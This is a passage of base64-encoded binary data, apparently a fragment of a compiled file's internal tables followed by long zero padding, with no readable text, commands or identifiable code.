Q0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSkNKg0rDSwNLQ0uDS8NMA0xDTINMw00DTUNNg03DTgNOQ06DTsNPA09DT4NPw0ADUENUQ1SDXENdw17DXwNQQ2CDYYNhw2IDYoNkA2UDZUNmQ2aDZsNnQ2jDacNqA2sDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3XDd0N4Q3iDeYN5w3rDewN7Q3vDfUN+Q36DcAOBA4FDgYOBw4MDg0ODg4UDhUOGw4fDiAOJA4lDiYOKA4uDjIONg43DjgOOQ4+Dj8OAA5BDkMORA5FDkcOSA5JDksOTA5NDk8OUA5RDlMOVA5VDlcOWA5ZDlsOXQ5eDl8OYQ5iDmMOZA5mDmcOaQ5qDmsObQ5uDm8OcQ5yDnMOdA52DncOeA56DnsOfQ5+DkAOgg6EDoYOiA6KDosOjQ6PDpEOlw6YDp4Onw6lDqYOrA6tDrMOtA66DrsOgQ7CDsgOyQ7PDtAO1g7XDt0O3g7kDuUO6w7sDvIO8w75DvoOwA8BDwcPCA8ODw8PFQ8WDxwPHQ8jDyQPKg8rDzEPMg84DzkPPw8AD0YPSg9OD1IPVg9aD14PYg9mD2oPbg9yD3YPeg9+D0IPhg+KD44Pkg+WD5oPng+iD6YPqg+rD68PsA+0D7UPuQ+6D74Pvw+DD8QPyA/JD80Pzg/SD9MP1w/YD9wP3Q/hD+IP5g/nD+sP7A/wD/EP9Q/2D/oP+w//D8AUAEAQAEAAAAwEDAUMCQwKDA4MDwwTDBQMGAwZDB0MHgwiDCMMJwwoDAkMSwxNDE4MUAxVDFcMXAxeDGMMZQxnDGkMagxrDG0Mcgx0DHYMeAx5DHoMfAxBDIgMkAyYDJ8MoAyoDK8MsAy4DIAMyAzQDNgM4AzjDOoM7QzzDPQM+wz8DMQNDA0UDRYNFw0eDSANIQ0nDSgNLw0wDTQNPQ0ADUINTQ1ODVANUg1UDVUNVw1cDWQNaw1sDXQNfA1EDYwNjw2WDZ4Npg2uDbYNuQ27DYwN0Q3VDdkN3A3kDecN7w3yDfoN/Q3FDggOEA4SDhQOFw4fDiEOIw4mDi4OMA4yDjUOPQ4ADkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXg5mDmkOcQ50DnwOfg5BDokOiw6ODpYOmQ6hDqMOpg6uDrAOgBwAQA4AQAAADAcMDgwWDB4MKAw4DAINgw2EDYUNhg2HDYgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrw2wDbENsg2zDbQNtQ22DbcNuA25DboNuw28Db0Nvg2/DYANwQ3CDcMNxA3FDcYNxw3IDckNyg3LDcwNzQ3ODc8N0A3RDdIN0w3UDdUN1g3XDdgN2Q3aDdsN5Q3pDe0N8Q31Df0NwA4BDgIOAw4NDg4ODw48DkwOzQ7ODs8O0A7RDtIO0w7UDtUO2A7aDtsO3A7dDt4O3w7gDuEO4g7jDuYO5w7oDukO6g7rDuwO7Q7wDvEO8g70DtwPpw+yD7sPhg/SD98P6g/2D8AAACAAQA0AAAACDA8MGQwhDCkMMAw3DD4MBgxNDFUMXAxmDHEMegxBDIgMjgyVDJsMnAydDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA